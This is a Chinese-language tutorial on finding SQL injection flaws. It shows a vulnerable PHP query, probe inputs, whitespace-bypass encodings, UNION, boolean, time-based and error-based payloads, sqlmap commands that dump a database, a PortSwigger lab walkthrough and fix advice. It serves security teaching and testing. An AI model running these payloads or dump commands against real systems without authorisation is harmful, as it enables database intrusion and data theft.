SQL注入漏洞是Web应用程序中最常见且危害极大的安全漏洞之一。攻击者通过构造恶意SQL语句,可以绕过认证、窃取数据甚至控制数据库服务器。以下是SQL注入漏洞挖掘的详细方法:
在学习SQL注入时我们需要了解两个重要信息
- SQL注入可能存在的位置
- 如何确定SQL注入漏洞的存在性
一、漏洞原理
当应用程序未对用户输入进行有效过滤,直接将用户输入拼接至SQL查询语句时,攻击者可通过构造特殊输入改变原SQL逻辑。
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
以上代码很明显在对id未进行预编译,而直接调用 GET中用户所反馈的数据,这样就可能导致用户使用一些敏感的数据与sql数据库进行拼接从而获取到数据库中敏感的信息。如:敏感信息库,管理员账号密码等。
二、注入点的判断
可以在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL注入漏洞。
步骤 | 测试数据 | 测试判断 |
---|---|---|
1 | -1 或 +1 | 是否能够回显上一个或下一个页面(判断是否有回显) |
2 | ' 或 " | 是否显示数据库错误信息; 根据回显内容可以判断是字符型数据还是数字型 |
3 | and 1=1 and 1=2 | 查看回显得页面是否不同(是否存在布尔类型状态) |
4 | and sleep(5) | 判断页面的返回时间(服务器反馈延时) |
5 | \ | 判断转义 |
主要关注的问题 | 解释 |
回显 | 数据库中的内容是否会回显在网页中 |
数据库报错 | 数据库报错信息是否会回显在网页中 提交的数据是字符型还是数字型,如果是字符型数据,闭合方式是什么 |
布尔类型状态 | 显示的页面不同,返回的页面形成对比 页面显示正常或者不正常 |
延时 | 让数据库沉睡相应的秒数 |
根据不同的标准,SQL注入漏洞可以有不同的分类。
两大基本类型 | 五大基本手法 | 提交参数的方式 | 注入点的位置 |
数字型 字符型 | 联合查询 报错注入 布尔盲注 延时注入 堆叠查询 | GET注入 POST注入 Cookie注入 HTTP头部注入 | URL注入 搜索框注入 留言板注入 登录框注入 |
补充:
可以代替空格的字符
?id=1'%0A and%0A1=1%23 |
?id=1'%0B and%0B1=1%23 |
?id=1'%0D and%0D1=2%23 |
?id=1'%A0 and%A01=2%23 |
三、漏洞挖掘方法
1. 手动探测
(1) 单引号测试
-
输入:
id=1'
-
观察:若返回数据库错误(如MySQL的
You have an error in your SQL syntax
),则可能存在SQL注入。
(2) 逻辑测试
-
真条件:
id=1 AND 1=1
→ 页面正常显示 -
假条件:
id=1 AND 1=2
→ 页面无数据或异常 -
结论:若两次响应不同,可能存在布尔型注入漏洞。
(3) 联合查询探测
-
步骤:
-
确定字段数:
ORDER BY 4--
(递增测试直到报错) -
联合查询测试:
id=-1 UNION SELECT 1,2,3,4--
-
观察页面中回显的字段位置(如显示数字2和3)。
-
(4) 时间盲注
-
输入:
id=1' AND SLEEP(5)--
-
观察:若页面响应延迟5秒,则存在时间盲注。
(5) 报错注入
-
输入:
-
id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)y)--
-
观察:若返回数据库版本信息错误,存在报错注入。
2. 自动化工具
-
SQLMap(最常用):
# 基础检测
sqlmap -u "http://example.com/page?id=1"
# 获取数据库名
sqlmap -u "http://example.com/page?id=1" --dbs
# 获取表名
sqlmap -u "http://example.com/page?id=1" -D dbname --tables
# 提取数据
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --dump
其他工具:Burp Suite(Intruder模块
3. 参数扩展测试
-
测试所有输入点:
-
URL参数(
?id=1
) -
POST表单字段(登录框、搜索框)
-
HTTP头(
Cookie
、User-Agent
、X-Forwarded-For
)
-
四、实战案例
靶场:PortSwigger(链接:https://portswigger.net/web-security/all-labs)
示例:联合查询
靶场描述:此实验包含产品类别过滤器中的 SQL 注入漏洞。查询结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。此类攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整攻击。
面对一个新环境我们可以点击目标网址所展现的功能进行点击,观察网页URL是否使用ID识别进行页面跳转(服务器产生回显)。【这里其实我们也能判断出服务器为数字型注入,不同的id是对数字做的加减从而产生的页面切换】
当出现正常回显我们可以使用 ' 配合注释查看是否会进行报错。
服务器反馈为非法ID,说明这里并非正常注入点所以我们需要调整注入点 ,当我调整到其他类别时使用同样的方法,服务器进行了正确的回显。所以我们后续就可以从这里进行尝试是否存在布尔类型状态。
很明显的我们可以发现当我们使用真假两个条件进行测试时,服务器给出了不同的反馈,我们就可以认为此处应该是存在布尔类型注入。 后续我们可以使用order by 进行查询列数,使用不同的数值查询出最终存在的列数。
最终我们发现在查询第3列时出现了正确的反馈,最后我们查询第4列时产生报错,说明这个表里面只存在3列数据。接下来我们就可以使用联合查询UNION 观察服务器的反馈。
这里我们之间对这三处赋值为空,因为很多场景下数字相对于来说会比较敏感,所以使用字符代替。可以看到服务器反馈出信息,说明这里存在SQL注入,可以使用其他的SQL语句进行获取敏感信息,这里也完成了这个靶场的要求成功过关。
五、漏洞修复建议
- 参数化查询(Prepared Statements):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);
-
输入过滤:白名单校验数据类型(如
id
必须为整数)。 -
最小化权限:数据库账户使用低权限。
-
错误处理:禁止显示数据库详细错误信息。
六、总结
SQL注入漏洞的本质就是输入 不可信的数据+SQL语句拼接高危漏洞。挖取这种漏洞的核心就是需要我们基于响应差异(错误、延迟、数据回显)验证注入点。漏洞常出现在动态拼接SQL语句的位置(如URL参数、表单输入、HTTP头)。